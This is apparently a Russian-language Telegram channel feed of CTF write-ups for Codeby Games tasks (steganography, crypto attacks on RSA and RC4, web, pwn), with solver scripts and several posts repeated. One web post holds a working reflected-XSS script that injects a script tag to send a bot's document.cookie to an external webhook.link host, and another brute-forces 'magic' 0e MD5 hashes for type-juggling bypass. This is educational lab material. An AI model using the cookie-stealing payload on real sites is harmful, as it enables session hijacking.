#стеганография Кулити, с гифкой. От @danzyxd
Дана гифка, я ее разложил на кадры в Gimp'е, каждый кадр превратился в слой и а названии каждого кадра написано время в течении которого этот кадр показывается.
Можно заметить 53-й кадр, который длится 0 мс, качаем его отдельно и закидываем в Stegsolve. В фильтре с инверсией справа сверху видим флаг.
🚩 https://codeby.games
#codebygames
Дана гифка, я ее разложил на кадры в Gimp'е, каждый кадр превратился в слой и а названии каждого кадра написано время в течении которого этот кадр показывается.
Можно заметить 53-й кадр, который длится 0 мс, качаем его отдельно и закидываем в Stegsolve. В фильтре с инверсией справа сверху видим флаг.
#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3❤1
#stegano
"Внимательный читатель"
Автор: @Max_RSC
ТОП-10 на платформе Codeby Games подготовил райтап по таску "Внимательный читатель", который многие ждали!
Перед нами трактат «О значении и успехе знания, божественного и человеческого» Фрэнсиса Бэкона — человека, чье имя, уверен, знакомо каждому, кто интересуется криптографией. Гуглим оригинал трактата и сравниваем с документом из вложения. Для этого можно воспользоваться как онлайн-сервисами (пример: https[:]//diffcheck[.]io), так и консольной утилитой diff. Становится ясно, что в некоторых словах различаются регистры первых букв, а в некоторых местах вместо одного пробела между словами присутствуют два пробела. Выписываем буквы, регистры, которые различаются, а также выписываем пробелы. Получим длинную строку со строчными и прописными буквами, разделенными пробелами, которую, по понятным причинам, я приведу не полностью:
oM savcf Osc pMef tce KSh...
Это не шифр, как можно подумать, а банальная «морзянка»: строчные буквы надо заменить на тире, а прописные буквы надо заменить на точки, после чего декодировать, воспользовавшись любым онлайн-сервисом на свой выбор. При декодировании выяснится, что фраза, которая принимается как флаг, написана с ошибкой. Насколько я могу судить, здесь ошибся сам автор таска. Я уверен, что вам не составит труда сообразить, что нужно сделать, и все же назову как ДОЛЖНО выглядеть последнее слово (в котором встречается ошибка) фразы — D1FF3RENCE.
Хочу отметить, что это краткая версия райтапа. В ближайшее время на форуме Codeby я опубликую развернутую версию с историческими отсылками, ориентированную на тех из вас, кому интересно погрузиться в историю стеганографии.
#codebygames
"Внимательный читатель"
Автор: @Max_RSC
ТОП-10 на платформе Codeby Games подготовил райтап по таску "Внимательный читатель", который многие ждали!
Перед нами трактат «О значении и успехе знания, божественного и человеческого» Фрэнсиса Бэкона — человека, чье имя, уверен, знакомо каждому, кто интересуется криптографией. Гуглим оригинал трактата и сравниваем с документом из вложения. Для этого можно воспользоваться как онлайн-сервисами (пример: https[:]//diffcheck[.]io), так и консольной утилитой diff. Становится ясно, что в некоторых словах различаются регистры первых букв, а в некоторых местах вместо одного пробела между словами присутствуют два пробела. Выписываем буквы, регистры, которые различаются, а также выписываем пробелы. Получим длинную строку со строчными и прописными буквами, разделенными пробелами, которую, по понятным причинам, я приведу не полностью:
oM savcf Osc pMef tce KSh...
Это не шифр, как можно подумать, а банальная «морзянка»: строчные буквы надо заменить на тире, а прописные буквы надо заменить на точки, после чего декодировать, воспользовавшись любым онлайн-сервисом на свой выбор. При декодировании выяснится, что фраза, которая принимается как флаг, написана с ошибкой. Насколько я могу судить, здесь ошибся сам автор таска. Я уверен, что вам не составит труда сообразить, что нужно сделать, и все же назову как ДОЛЖНО выглядеть последнее слово (в котором встречается ошибка) фразы — D1FF3RENCE.
Хочу отметить, что это краткая версия райтапа. В ближайшее время на форуме Codeby я опубликую развернутую версию с историческими отсылками, ориентированную на тех из вас, кому интересно погрузиться в историю стеганографии.
#codebygames
🔥14❤6👍3
Доброе утро!
#WEB
Таск: Магическая админка
от @exited3n
На Python
На PHP
#codebygames
#WEB
Таск: Магическая админка
от @exited3n
На Python
import time
from hashlib import md5
def is_valid_number(hashed_value):
return all(c.isdigit() for c in hashed_value[2:])
def find_valid_number():
start_time = time.time()
i = 0
while True:
hashed_value = md5(str(i).encode()).hexdigest()
hashed_value = md5(hashed_value.encode()).hexdigest()
if hashed_value[:2] == "0e":
print(f"{i} {hashed_value}")
if is_valid_number(hashed_value):
break
i += 1
end_time = time.time()
execution_time = (end_time - start_time) / 60
print(f"<b>Total Execution Time:</b> {execution_time:.2f} Mins")
if __name__ == "__main__":
find_valid_number()
На PHP
<?php
$time_start = microtime(true);
$i = 0;
while (1){
if (substr(md5(md5(strval($i))), 0, 2) === "0e"){
echo $i;
echo " ";
echo md5(md5(strval($i)));
echo "\n";
if (ctype_digit(substr(md5(md5(strval($i))), 2))){
exit();
}
}
$i++;
}
$time_end = microtime(true);
$execution_time = ($time_end - $time_start)/60;
echo '<b>Total Execution Time:</b> '.$execution_time.' Mins';
?>
#codebygames
👍8🔥3🤬1
#WEB
Введение в WebSocket от @cherepawwka, ТОП 15 на платформе Codeby
Описание от автора
В этой статье мы поговорим о том, что такое веб-сокеты и зачем они нужны, чем они отличаются от других способов обмена информацией между клиентом и сервером, а также напишем простой скрипт на Python🐍 — WebSocket client для решения таска с платформы CodeBy Games🚩
Оригинальный пост📝
Читать: https://telegra.ph/Intro-to-WebSockets-05-02
#codebygames
Введение в WebSocket от @cherepawwka, ТОП 15 на платформе Codeby
Описание от автора
В этой статье мы поговорим о том, что такое веб-сокеты и зачем они нужны, чем они отличаются от других способов обмена информацией между клиентом и сервером, а также напишем простой скрипт на Python🐍 — WebSocket client для решения таска с платформы CodeBy Games🚩
Оригинальный пост
Читать: https://telegra.ph/Intro-to-WebSockets-05-02
#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Intro to WebSockets
Всем привет! Сегодня мы поговорим о веб-сокетах, а также напишем простой скрипт на Python, который поможет решить таск с платформы CodeBy Games.
😍5🔥3❤2
#crypto
Алиса не знает алгебру
Автор: @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание 🚩
Прежде всего отмечу два важных момента:
1. Если вы не математик, для решения таска вам потребуется уверенный навык программирования на языке Python. Надеюсь, это понятно.
2. В процессе решения таска ни в коем случае не разрывайте соединение с сервером, иначе работу придется начинать по новой.
Подключаемся к серверу:
Мы получили значения N, e_1 и e_2. Скопируем их куда-нибудь — еще пригодятся.
В подавляющем большинстве случаев в тасках, где фигурирует RSA, мы имеем дело с реализацией одноименного алгоритма, имеющей ту или иную уязвимость. В данном случае уязвимость заключается в том, что используются две экспоненты e_1 и e_2 вместо одной e, как должно быть в RSA. Подобное "нововведение" сразу наводит на мысль о Common Modulus Attack.
Внимательно изучив скрипт, который нам предоставили организаторы, мы сможем понять логику работу сервера: одно и то же сообщение шифруется с использованием сначала одной экспоненты e_1 и модуля N, затем с использованием другой экспоненты e_2 и модуля N. На выходе получается не один шифртекст c как должно быть, а два разных шифртекста c1 и c2. Это серьезная уязвимость и в CTF мы еще не раз встретим подобные таски.
Возвращаемся к серверу. Про действия [1] и [2] в принципе можно забыть, так как для решения таска они не понадобятся. Выбираем действие [4]. Сервер отдает нам два шифртекста, каждый из которых представляет собой сообщение, зашифрованное с использованием одного и того же модуля, но разных экспонент. Думаю, вы уже сообразили, что эти шифртексты уязвимы для Common Modulus Attack. Давайте договоримся, что в данном случае первый шифртекст — это c1, a второй — это c2. Однако шифртексты нам даны в hex-формате. Значит, прежде чем мы сможем с ними работать, нужно перевести эти два шифртекста из hex-формата в base10. Сделаем это с помощью Питона:
Теперь воспользуемся скриптом, который любезно расшифрует для нас ключ:
Если на вашей машине нет библиотеки libnum, то для начала придется ее установить:
Выполнив скрипт, мы получим расшифрованный ключ, который, разумеется, я вам не покажу, чтобы вы не жульничали, а сделали хоть что-нибудь самостоятельно и следовательно, научились чему-нибудь новому.
Возвращаемся к серверу и на этот раз выбираем действие [3]. Вводим расшифрованный ключ, после чего сервер отдаст нам флаг.
#codebygames
Алиса не знает алгебру
Автор: @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание 🚩
Прежде всего отмечу два важных момента:
1. Если вы не математик, для решения таска вам потребуется уверенный навык программирования на языке Python. Надеюсь, это понятно.
2. В процессе решения таска ни в коем случае не разрывайте соединение с сервером, иначе работу придется начинать по новой.
Подключаемся к серверу:
nc 62.173.140.174 11002
Мы получили значения N, e_1 и e_2. Скопируем их куда-нибудь — еще пригодятся.
В подавляющем большинстве случаев в тасках, где фигурирует RSA, мы имеем дело с реализацией одноименного алгоритма, имеющей ту или иную уязвимость. В данном случае уязвимость заключается в том, что используются две экспоненты e_1 и e_2 вместо одной e, как должно быть в RSA. Подобное "нововведение" сразу наводит на мысль о Common Modulus Attack.
Внимательно изучив скрипт, который нам предоставили организаторы, мы сможем понять логику работу сервера: одно и то же сообщение шифруется с использованием сначала одной экспоненты e_1 и модуля N, затем с использованием другой экспоненты e_2 и модуля N. На выходе получается не один шифртекст c как должно быть, а два разных шифртекста c1 и c2. Это серьезная уязвимость и в CTF мы еще не раз встретим подобные таски.
Возвращаемся к серверу. Про действия [1] и [2] в принципе можно забыть, так как для решения таска они не понадобятся. Выбираем действие [4]. Сервер отдает нам два шифртекста, каждый из которых представляет собой сообщение, зашифрованное с использованием одного и того же модуля, но разных экспонент. Думаю, вы уже сообразили, что эти шифртексты уязвимы для Common Modulus Attack. Давайте договоримся, что в данном случае первый шифртекст — это c1, a второй — это c2. Однако шифртексты нам даны в hex-формате. Значит, прежде чем мы сможем с ними работать, нужно перевести эти два шифртекста из hex-формата в base10. Сделаем это с помощью Питона:
c1_hex = '43e2b4c84aff770b7388499cc2af2535655de75aa333b5e97fbe1f45b626c9d5b09901a5863ff2da652018058a9e87110b721c40593ac4d36ccdf1b3933d5dd2'
c1 = int(c1_hex, 16)
c2_hex = '55e70b7b592aa36ec9a7d61e4bd7930d590447cc1a243f2aeba2ff132e42bd8dcc1a4fdfef8659ed5f9aa96724290f2cdc80a6e353849b3d51c1524b071cea34'
c2 = int(c2_hex, 16)
Теперь воспользуемся скриптом, который любезно расшифрует для нас ключ:
from libnum import *
def common_modulus(e1, e2, c1, c2, N):
a, b, d = xgcd(e1,e2)
if b < 0:
c2 = invmod(c2, N)
b = -b
if a < 0:
c1 = invmod(c1, N)
a = -a
m = (pow(c1,a,N) * pow(c2,b,N)) % N
return [m, a, b, d]
def pad(m, d, i, N):
if -d*4*i < 0:
f = pow(invmod(2, N), d*4*i, N)
else:
f = pow(2, -d*4*i, N)
return m * f % N
N = # сюда пишем нашу N
e_1 = # сюда пишем нашу e_1
c1 = # сюда пишем нашу c1
e_2 = # сюда пишем нашу e_2
c2 = # сюда нашу c2
m, _, _, _ = common_modulus(e_1,e_2,c1,c2,N) plaintext = n2s(m)
print(plaintext.decode())
Если на вашей машине нет библиотеки libnum, то для начала придется ее установить:
pip install libnum
Выполнив скрипт, мы получим расшифрованный ключ, который, разумеется, я вам не покажу, чтобы вы не жульничали, а сделали хоть что-нибудь самостоятельно и следовательно, научились чему-нибудь новому.
Возвращаемся к серверу и на этот раз выбираем действие [3]. Вводим расшифрованный ключ, после чего сервер отдаст нам флаг.
#codebygames
❤7🔥3🤯1
#WEB Клиент всегда прав
Reflected XSS
Ссылка на задание🚩
От: @exited3n, автор канала @pt_soft
#codebygames
Reflected XSS
Ссылка на задание
От: @exited3n, автор канала @pt_soft
import requests
import json
webhook_api_url = 'https://webhook.link/api/new'
json_hook = json.loads(requests.get(webhook_api_url).text)
webhook_url = json_hook['routes']['webhook']
webhook_inspect_url = json_hook['routes']['inspect'].get('html')
webhook_inspect_json = json_hook['routes']['inspect'].get('api')
webhook = requests.post(f'http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.location="{webhook_url}?"%2bdocument.cookie</script>')
webhook_data = requests.get(webhook_inspect_url)
webhook_json = json.loads(requests.get(webhook_inspect_json).text)
flag = json.dumps(webhook_json['callbacks'][0]['args']['flag'], indent=4)
print(f'Open URL in your browser: {webhook_inspect_url}')
print(flag)
#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤2
Привет кибер-котлеты!
После пхд можно выдохнуть и возвращаться в нормальный режим работы. Кстати, как вам пхд? Пиши в комментах. Вот вам райтапчик по новой таске Codeby
#pwn Имя от @Delinester
Описание от автора и ссылка на таск:
https://skillful-warrior-e87.notion.site/Name-PWN-Writeup-by-Delinester-fd5a8b9206534f95b990b9d50ce51fb5
#codebygames
После пхд можно выдохнуть и возвращаться в нормальный режим работы. Кстати, как вам пхд? Пиши в комментах. Вот вам райтапчик по новой таске Codeby
#pwn Имя от @Delinester
Описание от автора и ссылка на таск:
https://skillful-warrior-e87.notion.site/Name-PWN-Writeup-by-Delinester-fd5a8b9206534f95b990b9d50ce51fb5
#codebygames
Amir's Notion on Notion
“Name” PWN Writeup by Delinester | Notion
https://codeby.games/categories/pwn/d452cdbb-c9cb-4aa1-9d25-3be6bf171223
👍4🔥2❤1
#crypto
Нулевой шифр
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Для решения таска потребуется уверенный навык программирования на Python. Надеюсь, это понятно.
Сначала заглянем в request.txt. В GET-запросе видим параметр FLAG со значением в виде строки, обернутой в base64:
FLAG=lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==
Скопируем эту строку куда-нибудь — еще пригодится. Про файл request.txt можно забыть, больше он не понадобится.
Идем в sourceCode.txt.
Эта строка сообщает нам о том, что используется алгоритм шифрования RC4, он же ARC4, он же Rivest Cipher 4. По сегодняшним меркам этот алгоритм шифрования считается устаревшим и больше не является криптографически безопасным.
Эти строки сообщают нам о том, что ключ — это первые шесть символов флага. Другими словами, CODEBY.
Эта строка сообщает нам о том, что ключ хешируется, но для шифрования используются лишь первые 16 байт ключа. Мы получили всю необходимую информацию и теперь можем с легкостью расшифровать флаг. Кстати, не рекомендую делать это посредством онлайн-декодера — скорее всего, у вас ничего не получится, да и необходимости в этом нет. Все что нужно сделать — это лишь немного переписать код. Приступаем:
Третью, четвертую и пятую строки можно скопировать из функции без изменений.
Прилагаю скрипт целиком с моими комментариями:
Выполняем скрипт и получаем флаг.
Рекомендую не бездумно копировать скрипт, а подумать над прочитанным и написать скрипт самостоятельно. Помните, что цель решения таска — это не получить флаг и чуть-чуть подняться в рейтинге, а научиться чему-нибудь новому.
#codebygames
Нулевой шифр
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Для решения таска потребуется уверенный навык программирования на Python. Надеюсь, это понятно.
Сначала заглянем в request.txt. В GET-запросе видим параметр FLAG со значением в виде строки, обернутой в base64:
FLAG=lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==
Скопируем эту строку куда-нибудь — еще пригодится. Про файл request.txt можно забыть, больше он не понадобится.
Идем в sourceCode.txt.
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())
Эта строка сообщает нам о том, что используется алгоритм шифрования RC4, он же ARC4, он же Rivest Cipher 4. По сегодняшним меркам этот алгоритм шифрования считается устаревшим и больше не является криптографически безопасным.
FLAG = '******{***********************************}'.encode()
key = FLAG[:6]Эти строки сообщают нам о том, что ключ — это первые шесть символов флага. Другими словами, CODEBY.
hashed_key = hashlib.sha256(key).digest()[:16]
Эта строка сообщает нам о том, что ключ хешируется, но для шифрования используются лишь первые 16 байт ключа. Мы получили всю необходимую информацию и теперь можем с легкостью расшифровать флаг. Кстати, не рекомендую делать это посредством онлайн-декодера — скорее всего, у вас ничего не получится, да и необходимости в этом нет. Все что нужно сделать — это лишь немного переписать код. Приступаем:
key = b'CODEBY'
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')
Третью, четвертую и пятую строки можно скопировать из функции без изменений.
Прилагаю скрипт целиком с моими комментариями:
# Подключаем нужные библиотеки (или устанавливаем, если их нет)
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
import hashlib
# Декодируем флаг из base64
FLAG= base64.b64decode('lUmU56gHyTe0DabyGJIZEI9mGyx/4NG1tX8yhml1KmQWEdfQ3TNNkU3z1w==')
# Обратите внимание, что ключ — это байтовая строка
key = b'CODEBY'
# Хешируем ключ, но используем лишь его первые 16 байт
hashed_key = hashlib.sha256(key).digest()[:16]
# Указываем, что хотим использовать алгоритм шифрования ARC4
cipher = Cipher(algorithms.ARC4(hashed_key), mode=None, backend=default_backend())
encryptor = cipher.encryptor()
# Передаем флаг на вход функции, которая производит расшифровку
ct = encryptor.update(FLAG) + encryptor.finalize()
# Печатаем флаг
print(ct)
Выполняем скрипт и получаем флаг.
Рекомендую не бездумно копировать скрипт, а подумать над прочитанным и написать скрипт самостоятельно. Помните, что цель решения таска — это не получить флаг и чуть-чуть подняться в рейтинге, а научиться чему-нибудь новому.
#codebygames
❤11🔥1
#WEB Минное поле
От @cherepawwka, автора канала Purple Chronicles
Ссылка на таск🚩
Райтап: https://telegra.ph/Codeby-Games-Minefield-writeup-09-05
#codebygames
От @cherepawwka, автора канала Purple Chronicles
Ссылка на таск
Райтап: https://telegra.ph/Codeby-Games-Minefield-writeup-09-05
#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegraph
Codeby Games Minefield writeup
Всем привет! Сегодня мы решим задание средней сложности с платформы Codeby Games под названием "Минное поле". Здесь мы проэксплуатируем "слепую" SSTI и научимся пользоваться инструментом ngrok.
❤4
#crypto
Веселый RSA
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Даны три шифртекста, которые представляют собой одно и то же сообщение. Подсказка намекает, что Боб плохо разбирается в RSA, поэтому при шифровании допустил серьезную ошибку. Действительно, мы видим, что вместо стандартной экспоненты e = 65537 он использовал значения 5, 7 и 13, a модули n1, n2 и n3 настолько малы, что с легкостью раскладываются на множители. Это можно назвать критической уязвимостью.
Если мы возьмем первое по счету сообщение и попробуем вычислить приватную экспоненту d, то поймем, что это невозможно:
На простом языке это означает, что в процессе шифрования пользователь допустил фатальную ошибку.
Возьмем второе по счету сообщение и попробуем найти приватную экспоненту d – то же самое:
Возьмем третье по счету сообщение. Похоже, что это сообщение было зашифровано правильно, а значит, можно вычислить d:
После нахождения d мы с легкостью расшифровываем шифртекст:
Мы получили трехзначное число, которое, разумеется, я вам не покажу, чтобы вы не жульничали, а решили таск самостоятельно и следовательно, научились чему-нибудь новому.
Считаем от этого числа хеш-сумму по алгоритму SHA256:
Получившуюся строку обoрачиваем в CODEBY и сдаем флаг.
#codebygames
Веселый RSA
От @Max_RSC (ТОП-10 на платформе Codeby Games)
Ссылка на задание
Даны три шифртекста, которые представляют собой одно и то же сообщение. Подсказка намекает, что Боб плохо разбирается в RSA, поэтому при шифровании допустил серьезную ошибку. Действительно, мы видим, что вместо стандартной экспоненты e = 65537 он использовал значения 5, 7 и 13, a модули n1, n2 и n3 настолько малы, что с легкостью раскладываются на множители. Это можно назвать критической уязвимостью.
Если мы возьмем первое по счету сообщение и попробуем вычислить приватную экспоненту d, то поймем, что это невозможно:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus
На простом языке это означает, что в процессе шифрования пользователь допустил фатальную ошибку.
Возьмем второе по счету сообщение и попробуем найти приватную экспоненту d – то же самое:
>>> d = pow(e, -1, phi)
Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: base is not invertible for the given modulus
Возьмем третье по счету сообщение. Похоже, что это сообщение было зашифровано правильно, а значит, можно вычислить d:
>>> d = pow(e, -1, phi)
>>> d
# 288613
После нахождения d мы с легкостью расшифровываем шифртекст:
>>> message = pow(c, d, n)
Мы получили трехзначное число, которое, разумеется, я вам не покажу, чтобы вы не жульничали, а решили таск самостоятельно и следовательно, научились чему-нибудь новому.
Считаем от этого числа хеш-сумму по алгоритму SHA256:
>>> from hashlib import sha256
>>> result = sha256(str(message).encode()).hexdigest()
Получившуюся строку обoрачиваем в CODEBY и сдаем флаг.
#codebygames
❤9🔥2
#криптография
Искусство войны от @exited3n, автора канала @pt_soft
Сложность: легкий
Ссылка на задание
#codebygames
Искусство войны от @exited3n, автора канала @pt_soft
Сложность: легкий
Ссылка на задание
from Crypto.Util.number import long_to_bytes
def inv(a, m):
m0 = m
x0 = 0
x1 = 1
if m == 1:
return 0
while a > 1:
q = a // m
t = m
m = a % m
a = t
t = x0
x0 = x1 - q * x0
x1 = t
if x1 < 0:
x1 = x1 + m0
return x1
def findMinX(num, rem, k):
prod = 1
for i in range(0, k):
prod = prod * num[i]
result = 0
for i in range(0, k):
pp = prod // num[i]
result = result + rem[i] * inv(pp, num[i]) * pp
return result % prod
rem = [7, 4, 9]
num = [17, 23, 37]
k = len(num)
a = findMinX(num, rem, k)
cipher_text = 25183524468752482838730336135334402772668615375346038
flag = cipher_text ^ a
print("a ==", a)
print(long_to_bytes(flag).decode('UTF-8'))
#codebygames
🔥8❤1🤬1
#разное #codeby
Великий математик от @while_not_False (пацана знаю лично, просто настоящая кибер-котлета для своих лет!)
Ссылка на задание
#codebygames
Великий математик от @while_not_False (пацана знаю лично, просто настоящая кибер-котлета для своих лет!)
Ссылка на задание
from pwn import remote
import re
print('\033[31m')
host = "62.173.140.174"
port = 10360
def solve_equation(equation):
pattern = r'\((.*?)\)\s*(\w+)\s*([\+\-\*\/])\s*(\w+)\s*=\s*(-?\d+)'
match = re.match(pattern, equation)
if match:
x = match.group(2) # значение после скобок и до оператора
op = match.group(3) # оператор
y = match.group(4) # значение после оператора и до знака равенства
z = int(match.group(5)) # значение после знака равенства
# Пробуем привести x и y к целому числу, если не получится - оставляем как строку
try:
x = int(x)
except:
pass
try:
y = int(y)
except:
pass
if isinstance(x, str):
if op == '+':
result = z - y
elif op == '-':
result = z + y
elif op == '*':
result = z // y
elif op == '/':
result = z * y
else:
return None
elif isinstance(y, str):
if op == '+':
result = z - x
elif op == '-':
result = x - z
elif op == '*':
result = z // x
elif op == '/':
result = x // z
else:
return None
else:
return None
return result
else:
return None
def main():
conn = remote(host, port)
for _ in range(8):
print(conn.recvline().decode())
conn.sendline('start')
for _ in range(3):
print(conn.recvline().decode())
while True:
conn.recvline().decode()
equation = conn.recvline().decode().strip()
if "FLAG" in equation:
print('\033[31m' + f"\n\n{equation}")
break
print('\033[32m' + f"{equation}")
print(conn.recvline().decode())
solution = solve_equation(equation)
if solution is not None:
print('\033[33m' + ">>> " + '\033[34m' + f"{solution}")
conn.sendline(str(solution))
else:
print("Error")
break
conn.close()
if __name__ == "__main__":
main()
#codebygames
🔥6👍1
#pwn
BOF: Обратная сторона Луны от канала @b4ckc0nn3ct
Уровень: Лёгкий
Ссылка на задание
https://telegra.ph/CODEBY-Writeup-BOF-Obratnaya-storona-Luny-06-24
#codebygames
BOF: Обратная сторона Луны от канала @b4ckc0nn3ct
Уровень: Лёгкий
Ссылка на задание
https://telegra.ph/CODEBY-Writeup-BOF-Obratnaya-storona-Luny-06-24
#codebygames
Telegraph
CODEBY Writeup. BOF. Обратная сторона Луны
Полезная информация по ИБ и разборы задачек CTF. Обучающие статьи по PWN - Изучение PWN #1. BOF. Обратная сторона Луны Запускаем файл задания, видим ascii-графику с изображенеим Луны и предложением ввести свое предположение о том, что же находится на темной…
🔥11❤1
#WEB Запретный код от @ishanyam
Сложность: Высокая 🔴
🚩 Ссылка на задание
⌨️ Ссылка на райтап
#codebygames
Сложность: Высокая 🔴
#codebygames
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
#crypto #codebygames #writeup
Pайтап по таску Sophie German c Codeby Games от @Max_RSC (ТОП-10 на платформе) 🚩
В описании намекается, что криптограф допустил какую-то серьезную ошибку. Ошибка, о которой идет речь, заключается в том, что он забыл проверить наличие значения n в публичной базе FactorDB. Это означает, что факторы (p и q), произведение которых дало n, уже известны, поэтому решение становится простейшим:
1. Идем на caйт https://dcode.fr/rsa-cipher и вводим значения n, c, e в соответствующие поля.
2. Нажимаем кнопку "CALCULATE/DECRYPT".
После выполнения этих шагов мы получим флаг.
Pайтап по таску Sophie German c Codeby Games от @Max_RSC (ТОП-10 на платформе) 🚩
В описании намекается, что криптограф допустил какую-то серьезную ошибку. Ошибка, о которой идет речь, заключается в том, что он забыл проверить наличие значения n в публичной базе FactorDB. Это означает, что факторы (p и q), произведение которых дало n, уже известны, поэтому решение становится простейшим:
1. Идем на caйт https://dcode.fr/rsa-cipher и вводим значения n, c, e в соответствующие поля.
2. Нажимаем кнопку "CALCULATE/DECRYPT".
После выполнения этих шагов мы получим флаг.
❤10
#HackOSINT2024, #kubanctf2024, #КубокCTF2024, #RedShift2024, #SpookyCTF2024, #чемпионатпервенство2024, #VolgaCTF_2025 #tctf2025, #КубокCTF2025, #cybercamp2025
#standoff365, #codebygames, #taipanbyte, #polyctf
бот в котором собраны все задачи, где их можно решать и получать баллы: @writeup_ctf_bot
#таск@writeup_ctf
#рекомендация@writeup_ctf #мемы, #полезное
обнял и жму краба
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
Чат 💬 Райтапы по CTF{2025}
❤️ Ламповый чатик для котяток и кибер-котлеток
👉 Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ: @writeup_ctf
👉 Наши таски тут: @writeup_ctf_bot
Правила чата: https://telegra.ph/writeup-chat-rules-06-04
👉 Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ: @writeup_ctf
👉 Наши таски тут: @writeup_ctf_bot
Правила чата: https://telegra.ph/writeup-chat-rules-06-04
🔥11❤1